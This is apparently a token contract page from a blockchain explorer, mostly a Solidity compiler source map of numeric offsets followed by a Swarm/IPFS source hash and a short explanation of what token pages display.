;-1:-1:-1;;;;;;9005:19:0;;;;;;:15;:19;;;;;;;;8982:42;:57;;;;-1:-1:-1;9028:11:0;;;;;;;8982:57;:99;;;;;9064:17;;9043:20;:38;8982:99;:129;;;;;9093:18;;9083:9;;:28;8982:129;8978:1120;;;9150:13;;9135:12;:28;9131:90;;;9200:1;9188:9;:13;9131:90;9259:2;;9247:9;;:14;9239:50;;;;-1:-1:-1;;;9239:50:0;;11261:2:1;9239:50:0;;;11243:21:1;11300:2;11280:18;;;11273:30;11339:25;11319:18;;;11312:53;11382:18;;9239:50:0;11059:347:1;9239:50:0;9308:67;9325:49;9329:6;9336:37;9340:20;9361:11;;9336:3;:37::i;:::-;9325:3;:49::i;:::-;9308:16;:67::i;:::-;9423:21;9466:22;;9463:105;;9513:35;9526:21;9513:12;:35::i;:::-;9586:9;:12;;;:9;:12;;;:::i;:::-;;;;-1:-1:-1;;9633:12:0;9617:13;:28;-1:-1:-1;8978:1120:0;;;9686:6;;;;9685:7;:30;;;;-1:-1:-1;;;;;;9696:19:0;;;;;;:15;:19;;;;;;;;9685:30;:45;;;;-1:-1:-1;9719:11:0;;;;;;;9685:45;:87;;;;;9755:17;;9734:20;:38;9685:87;:118;;;;;9785:18;;9775:9;;:28;9685:118;9682:416;;;9823:67;9840:49;9844:6;9851:37;9855:20;9876:11;;9851:3;:37::i;9823:67::-;9938:21;9981:22;;9978:105;;10028:35;10041:21;10028:12;:35::i;:::-;9804:294;9682:416;8047:2062;8009:2100;-1:-1:-1;;;;;10126:23:0;;;;;;:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;10153:21:0;;;;;;:17;:21;;;;;;;;10126:48;10125:67;;;;-1:-1:-1;2450:7:0;2477:6;-1:-1:-1;;;;;10179:13:0;;;2477:6;;10179:13;;10125:67;:88;;;;-1:-1:-1;;;;;;10196:17:0;;10208:4;10196:17;;10125:88;:111;;;;-1:-1:-1;;;;;;10217:19:0;;10231:4;10217:19;;10125:111;10121:171;;;10265:15;10253:9;:27;10121:171;-1:-1:-1;;;;;10306:23:0;;;;;;:17;:23;;;;;;;;:91;;;;;10379:16;;10360:18;;10348:11;;:30;;;;:::i;:::-;:47;;;;:::i;:::-;10334:12;:62;10306:91;10302:292;;;-1:-1:-1;;;;;10441:15:0;;;;;;;:9;:15;;;;;;:23;;;;;;;10481:13;;;;;;;;;;:21;;;;;;10537:24;;;;;;10458:6;1361:25:1;;1349:2;1334:18;;1215:177;10537:24:0;;;;;;;;10576:7;7668:4078;;;:::o;10302:292::-;-1:-1:-1;;;;;10610:23:0;;;;;;:17;:23;;;;;;;;10608:25;:52;;;;-1:-1:-1;;;;;;10639:21:0;;;;;;:17;:21;;;;;;;;10637:23;10608:52;10604:789;;;-1:-1:-1;;;;;10682:19:0;;;;;;:15;:19;;;;;;;;10677:705;;-1:-1:-1;;;;;10752:11:0;;;10722:27;10752:11;;;:7;:11;;;;;;;;10786:21;;;;;:15;:21;;;;;;;;:43;;;;-1:-1:-1;10811:15:0;;:18;10786:43;10782:392;;;10881:18;;10871:9;;:28;10870:66;;10921:15;10870:66;;;10902:17;10918:1;10902:15;:17;:::i;:::-;10854:82;;10782:392;;;-1:-1:-1;;;;;11018:13:0;;10985:30;11018:13;;;:7;:13;;;;;11058:15;;:20;;:56;;-1:-1:-1;11099:15:0;;11080:18;;:34;11058:56;11054:101;;;11135:18;;11117:36;;11054:101;10962:212;10782:392;10703:486;10677:705;;;-1:-1:-1;;;;;11241:13:0;;11214:24;11241:13;;;:7;:13;;;;;11310:9;;11297:12;;:22;;11310:9;11297:22;:::i;:::-;11273:21;;;:46;11351:15;11338:10;;;;:28;10677:705;11408:11;;11405:160;;11476:4;11458:24;;;;:9;:24;;;;;;:39;;11487:9;11458:28;:39::i;:::-;11451:4;11433:24;;;;:9;:24;;;;;;;:64;;;;11515:38;;-1:-1:-1;;;;;11515:38:0;;;;;;;11543:9;1361:25:1;;1349:2;1334:18;;1215:177;11515:38:0;;;;;;;;11405:160;-1:-1:-1;;;;;11591:15:0;;;;;;:9;:15;;;;;;:27;;11611:6;11591:19;:27::i;:::-;-1:-1:-1;;;;;11575:15:0;;;;;;:9;:15;;;;;:43;11643:40;11661:21;:6;11672:9;11661:10;:21::i;:::-;-1:-1:-1;;;;;11643:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11629:13:0;;;;;;;:9;:13;;;;;:54;;;;11699:39;;;11716:21;:6;11727:9;11716:10;:21::i;:::-;11699:39;;1361:25:1;;;1349:2;1334:18;11699:39:0;1215:177:1;1304:190:0;1390:7;1426:12;1418:6;;;;1410:29;;;;-1:-1:-1;;;1410:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1450:9:0;1462:5;1466:1;1462;:5;:::i;:::-;1450:17;1304:190;-1:-1:-1;;;;;1304:190:0:o;11862:482::-;5462:6;:13;;-1:-1:-1;;5462:13:0;5471:4;5462:13;;;11963:16:::1;::::0;;11977:1:::1;11963:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11963:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11963:16:0::1;11939:40;;12008:4;11990;11995:1;11990:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11990:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12034:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12034:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11990:7;;12034:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12024:4;12029:1;12024:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12024:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12099:15:::1;::::0;12067:62:::1;::::0;12084:4:::1;::::0;12099:15:::1;12117:11:::0;12067:8:::1;:62::i;:::-;12140:15;::::0;:196:::1;::::0;-1:-1:-1;;;12140:196:0;;-1:-1:-1;;;;;12140:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12221:11;;12140:15:::1;::::0;12263:4;;12290::::1;::::0;12310:15:::1;::::0;12140:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5498:6:0;:14;;-1:-1:-1;;5498:14:0;;;-1:-1:-1;;;;11862:482:0:o;12556:91::-;12612:10;;:27;;-1:-1:-1;;;;;12612:10:0;;;;:27;;;;;12632:6;;12612:10;:27;:10;:27;12632:6;12612:10;:27;;;;;;;;;;;;;;;;;;;1502:246;1560:7;1584:1;1589;1584:6;1580:47;;-1:-1:-1;1614:1:0;1607:8;;1580:47;1637:9;1649:5;1653:1;1649;:5;:::i;:::-;1637:17;-1:-1:-1;1682:1:0;1673:5;1677:1;1637:17;1673:5;:::i;:::-;:10;1665:56;;;;-1:-1:-1;;;1665:56:0;;13217:2:1;1665:56:0;;;13199:21:1;13256:2;13236:18;;;13229:30;13295:34;13275:18;;;13268:62;-1:-1:-1;;;13346:18:1;;;13339:31;13387:19;;1665:56:0;13015:397:1;1665:56:0;1739:1;1502:246;-1:-1:-1;;;1502:246:0:o;1756:132::-;1814:7;1841:39;1845:1;1848;1841:39;;;;;;;;;;;;;;;;;:3;:39::i;11756:98::-;11813:7;11840:1;11838;:3;11837:9;;11845:1;11837:9;;;-1:-1:-1;11843:1:0;11756:98;-1:-1:-1;11756:98:0:o;973:179::-;1031:7;;1063:5;1067:1;1063;:5;:::i;:::-;1051:17;;1092:1;1087;:6;;1079:46;;;;-1:-1:-1;;;1079:46:0;;13619:2:1;1079:46:0;;;13601:21:1;13658:2;13638:18;;;13631:30;13697:29;13677:18;;;13670:57;13744:18;;1079:46:0;13417:351:1;1160:136:0;1218:7;1245:43;1249:1;1252;1245:43;;;;;;;;;;;;;;;;;:3;:43::i;1896:189::-;1982:7;2017:12;2010:5;2002:28;;;;-1:-1:-1;;;2002:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2041:9:0;2053:5;2057:1;2053;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:416;3355:1;3392:5;3355:1;3406:270;3427:7;3417:8;3414:21;3406:270;;;3486:4;3482:1;3478:6;3474:17;3468:4;3465:27;3462:53;;;3495:18;;:::i;:::-;3545:7;3535:8;3531:22;3528:55;;;3565:16;;;;3528:55;3644:22;;;;3604:15;;;;3406:270;;;3410:3;3266:416;;;;;:::o;3687:806::-;3736:5;3766:8;3756:80;;-1:-1:-1;3807:1:1;3821:5;;3756:80;3855:4;3845:76;;-1:-1:-1;3892:1:1;3906:5;;3845:76;3937:4;3955:1;3950:59;;;;4023:1;4018:130;;;;3930:218;;3950:59;3980:1;3971:10;;3994:5;;;4018:130;4055:3;4045:8;4042:17;4039:43;;;4062:18;;:::i;:::-;-1:-1:-1;;4118:1:1;4104:16;;4133:5;;3930:218;;4232:2;4222:8;4219:16;4213:3;4207:4;4204:13;4200:36;4194:2;4184:8;4181:16;4176:2;4170:4;4167:12;4163:35;4160:77;4157:159;;;-1:-1:-1;4269:19:1;;;4301:5;;4157:159;4348:34;4373:8;4367:4;4348:34;:::i;:::-;4418:6;4414:1;4410:6;4406:19;4397:7;4394:32;4391:58;;;4429:18;;:::i;:::-;4467:20;;3687:806;-1:-1:-1;;;3687:806:1:o;4498:140::-;4556:5;4585:47;4626:4;4616:8;4612:19;4606:4;4585:47;:::i;4643:168::-;4716:9;;;4747;;4764:15;;;4758:22;;4744:37;4734:71;;4785:18;;:::i;4816:356::-;5018:2;5000:21;;;5037:18;;;5030:30;5096:34;5091:2;5076:18;;5069:62;5163:2;5148:18;;4816:356::o;5529:251::-;5599:6;5652:2;5640:9;5631:7;5627:23;5623:32;5620:52;;;5668:1;5665;5658:12;5620:52;5700:9;5694:16;5719:31;5744:5;5719:31;:::i;6706:306::-;6794:6;6802;6810;6863:2;6851:9;6842:7;6838:23;6834:32;6831:52;;;6879:1;6876;6869:12;6831:52;6908:9;6902:16;6892:26;;6958:2;6947:9;6943:18;6937:25;6927:35;;7002:2;6991:9;6987:18;6981:25;6971:35;;6706:306;;;;;:::o;7296:277::-;7363:6;7416:2;7404:9;7395:7;7391:23;7387:32;7384:52;;;7432:1;7429;7422:12;7384:52;7464:9;7458:16;7517:5;7510:13;7503:21;7496:5;7493:32;7483:60;;7539:1;7536;7529:12;7578:184;7648:6;7701:2;7689:9;7680:7;7676:23;7672:32;7669:52;;;7717:1;7714;7707:12;7669:52;-1:-1:-1;7740:16:1;;7578:184;-1:-1:-1;7578:184:1:o;10435:125::-;10500:9;;;10521:10;;;10518:36;;;10534:18;;:::i;10919:135::-;10958:3;10979:17;;;10976:43;;10999:18;;:::i;:::-;-1:-1:-1;11046:1:1;11035:13;;10919:135::o;11411:128::-;11478:9;;;11499:11;;;11496:37;;;11513:18;;:::i;11676:127::-;11737:10;11732:3;11728:20;11725:1;11718:31;11768:4;11765:1;11758:15;11792:4;11789:1;11782:15;11808:980;12070:4;12118:3;12107:9;12103:19;12149:6;12138:9;12131:25;12175:2;12213:6;12208:2;12197:9;12193:18;12186:34;12256:3;12251:2;12240:9;12236:18;12229:31;12280:6;12315;12309:13;12346:6;12338;12331:22;12384:3;12373:9;12369:19;12362:26;;12423:2;12415:6;12411:15;12397:29;;12444:1;12454:195;12468:6;12465:1;12462:13;12454:195;;;12533:13;;-1:-1:-1;;;;;12529:39:1;12517:52;;12624:15;;;;12589:12;;;;12565:1;12483:9;12454:195;;;-1:-1:-1;;;;;;;12705:32:1;;;;12700:2;12685:18;;12678:60;-1:-1:-1;;;12769:3:1;12754:19;12747:35;12666:3;11808:980;-1:-1:-1;;;11808:980:1:o;12793:217::-;12833:1;12859;12849:132;;12903:10;12898:3;12894:20;12891:1;12884:31;12938:4;12935:1;12928:15;12966:4;12963:1;12956:15;12849:132;-1:-1:-1;12995:9:1;;12793:217::o

Swarm Source

ipfs://680b10c66e6dc2bb281974fe4f520dac29c813a1a8f9c6ce610e9b1f1d0e9cfa
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.